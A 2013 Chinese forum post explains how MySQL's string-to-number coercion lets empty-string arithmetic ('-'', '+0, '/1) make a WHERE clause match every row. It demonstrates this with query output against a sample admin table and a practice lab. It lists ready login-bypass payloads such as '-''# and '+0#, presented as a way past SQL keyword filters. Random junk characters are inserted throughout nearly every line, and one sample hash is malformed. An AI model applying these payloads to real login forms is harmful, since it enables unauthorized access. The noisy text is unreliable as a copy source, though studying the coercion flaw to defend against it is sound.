找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2197|回复: 0
打印 上一主题 下一主题

使用MySQL字符串运算实施精巧化SQL注入攻击

[复制链接]
跳转到指定楼层
楼主
发表于 2013-11-23 16:20:34 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
我们先来看这样一个场景。2 n1 T$ D' u8 j
有以下表结构: & `' p8 }6 a3 }( @3 [

1 }$ }( E$ F) D$ kmysql> desc admin;
  f& l0 n6 C' [! g8 G  z6 P+----------+--------------+------+-----+---------+----------------+9 Y( Z5 W2 ?- [9 b
| Field    | Type         | Null | Key | Default | Extra          |
4 \2 a+ a/ J7 A, ?/ ]0 p1 M9 p+----------+--------------+------+-----+---------+----------------+9 e' p+ m3 `0 U/ Z
| id       | mediumint(9) | NO   | PRI | NULL    | auto_increment |
0 H* I( e" t" O1 C( p5 G| name     | char(32)     | NO   | UNI | NULL    |                |& E' Q/ V2 e2 w( J
| password | char(32)     | NO   | UNI | NULL    |                |- j7 i" b1 R' i1 V/ b5 t
+----------+--------------+------+-----+---------+----------------+
& m* J! R0 n# h( _5 P$ ?1 `3 rows in set (0.00 sec)' T1 {6 J' w3 C6 c; ~
执行select * from admin;,成功返回所有记录内容。
4 E4 O  y) c. C- r# |' a. V# e
. m- q5 h4 R( o3 _7 J
/ W5 O, R9 l* j. s+----+--------+----------------------------------+2 p% c8 \" h) _5 f3 |0 G
| id | name   | password                         |/ ]! ^( {  _2 W
+----+--------+----------------------------------+7 v3 O# k9 V& L! D* }1 r# I
|  1 | admin  | c6dabaeeb05f2bf8690bab15e3afb022 |
- D: w5 u. d- _|  2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |: n3 p9 d, ?' r/ q& V
|  4 | n00b   | ff80e8508d39047460921792273533a4 |
: M, o' u$ _: G: m# ?- |! `+----+--------+----------------------------------+/ F1 m+ o1 S) k( C3 Y
3 rows in set (0.00 sec)
1 i6 W/ }' ~) ?& k! N执行select * from admin where name=”;,没有匹配到任何记录。 : @$ J+ J# y% y
9 X5 ~9 K. F6 e' F' T0 ]
mysql> select * from admin where name = '';  D6 n) E9 R5 q9 x
Empty set (0.00 sec)
0 Q0 N+ s( `9 p5 E) S那么我们来执行select * from admin where name = ”-”;) n9 ?; ^+ B4 [
/ n2 v% _7 g. x& e6 }$ d/ @( n% B

! i& c0 l1 X( l6 _4 p! ]+----+--------+----------------------------------+
  S) t2 ]  U. a, s| id | name   | password                         |! K  d& D/ g3 U) L$ s. X
+----+--------+----------------------------------+* `; g+ {" T+ Y$ p5 U7 }
|  1 | admin  | c6dabaeeb05f2bf8690bab15e3afb022 |
' ^4 P  X$ U8 ]$ A6 R8 b|  2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |" e& b! B. g. W
|  4 | n00b   | ff80e8508d39047460921792273533a4 |0 I8 _: m% c% H% E* M5 w
+----+--------+----------------------------------+
, A+ j4 c- v- q* b) N' J3 rows in set, 3 warnings (0.00 sec)
* @; y1 y3 \2 A; d: \* W可以看到,也成功返回了所有记录,但是有三个warnings,我们看下警告信息:
- O) `+ f$ f6 @$ d% h5 t- L
; N. F# v: T* S& B# }2 I" Tmysql> show warnings;, f9 h9 e$ j7 _4 h2 T4 A7 o
+---------+------+------------------------------------------
; J' D% W1 b% x2 {7 g) N: |0 L| Level   | Code | Message7 ], Q3 p0 ]; S0 m$ K0 I6 e8 [
+---------+------+------------------------------------------; ~# a, f, e7 L0 o
| Warning | 1292 | Truncated incorrect DOUBLE value: 'admin
1 ~, O( J  V& Z5 l3 h| Warning | 1292 | Truncated incorrect DOUBLE value: 'pnig0s
4 T5 N3 k9 h% j- }9 h( F| Warning | 1292 | Truncated incorrect DOUBLE value: 'n00b9 Z8 |; F7 V' s/ H
+---------+------+------------------------------------------
1 ~9 q" m( o' Y' d+ F7 q3 rows in set (0.00 sec)7 }2 e8 @" m( c" z
提示截断了错误的DOUBLE值’admin等等,当在一个字符串类型的列中使用数字类型的值时会产生这类警告。 我们单独执行select ”-”;看下结果。 ; w1 o" C5 Q- C: t6 H9 Q+ c  W0 I4 f

; x7 q! _8 v- i7 Pmysql> select ''-'';  K6 g# I. I! K. @
+-------+
  N6 K8 J6 b4 ~| ''-'' |$ [; y. n3 s, I5 @+ w( a# m* ^
+-------+
4 J; Z+ ]1 c6 g2 P- @% H# R|     0 |( H7 F. j3 `2 G
+-------+8 Q- p! g; O/ l' [0 g% w
1 row in set (0.00 sec)
0 p( y4 I  U& r/ t. ?返回0,也就是说我们查询的每一行的name子段都会和0做对比,这样就会触发一个类型转换,对name字段转换的结果也必然为0:
9 h4 s/ Z, v/ ^
4 f5 y' U& y) `+ r7 Ymysql> select CAST((select name from admin limit 1,1) as DECIMAL);
. Z) a( d% s5 {4 b, \% o+-----------------------------------------------------+5 o" W. ~% z$ Y6 e
| CAST((select name from admin limit 1,1) as DECIMAL) |
9 ^; S. @/ ~; H8 c+-----------------------------------------------------+
) t$ x: W; p( s# |+ S|                                                   0 |
: g3 \) y6 z/ t1 o& j+-----------------------------------------------------+" I; v& t3 }' D
1 row in set, 1 warning (0.00 sec)$ U& h$ [5 @7 x/ v+ u6 s  D! P
因此where语句构成了相等的条件,where 0=”=”,记录被返回。
0 l$ ~; e/ u/ Q  {6 Q% A
9 ]- H8 n$ R& E1 j# r# n! VSQL注入场景: http://www.sqlzoo.net/hack/
# |! a5 v" `/ v8 ^% D" W7 _
# E( T; y5 {- i7 w0 U0 b8 Q& g2 G8 Q9 a

& P/ x& ^7 O3 v& l, _7 C
& x" U2 V# f0 k% @* h& t6 u5 \如果我们想绕过登录验证,上面已经给出了一个传统的tips:用户名密码均为’ or ”=’ 这样的逻辑和绕过方式很常见,这里不再具体解释了。 ' R; k- [2 B# h3 Q# [3 y* t

! d) K7 Q' U5 z0 l2 U; l1 u那么通过这次发现的技巧,可以使用一种相当精巧的方式,且避免使用SQL关键字,来绕过登录。 1 `$ E4 h8 X2 q; g* w+ ^4 T% N2 G

% ?3 }! H( p( g2 T" }7 l) w! \: J: L, K- @2 E- a8 ~

+ D  k2 o1 c/ i& ^1 [$ ^; `1 X# I1 @0 x
仅仅在name子段输入’-”#,password留空,即可绕过登录验证。
/ m' t5 _. b9 \- i) @* x" q
% I1 r8 B% \5 R! k( P   9 g0 f. V  [+ X  Q, l" p; v3 a: [
6 d, Q% Y+ G- m
除了”-”,其他运算符”+”,”*”,”^”都会有同样的效果。 再继续进行测试,我们发现只要在闭合单引号的情况系构造查询结果为0的条件即可/ Z/ [( m! z9 m7 m6 s: J, h

  [* k, {8 N$ c! K- Q+ n
9 N; f3 q' \% K8 Pmysql> select ''/1;
" E# x! \6 l( ?1 b( [9 r+------+) R- q* U+ c# m6 ~* M9 C& S1 {/ g' i9 M
| ''/1 |
; v7 |/ \0 g3 |+------+1 W1 n& C( e4 q# o' G' R
|    0 |
! ?2 j/ a$ c* o2 x+------+: d6 J7 s3 }  f. i& i
1 row in set (0.00 sec)7 W, a% i$ z" `  l8 ~- b
类似的”+0,”-0,”*0,”^0均可。 那么刚才的注入环境我们使用以下的精简payload同样可以绕过登录认证: ‘+0#,’/1#,’^0,’-0#等等。  
& Z; p; @1 w; B; ]" w( ~0 v3 J0 W$ B4 a) z) M' w* A7 o
利用这样一种特性,当目标对注入语句中的SQL关键字进行过滤时,便可通过这样一种方式进行Bypass。! u$ b. y/ `: S; Q
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表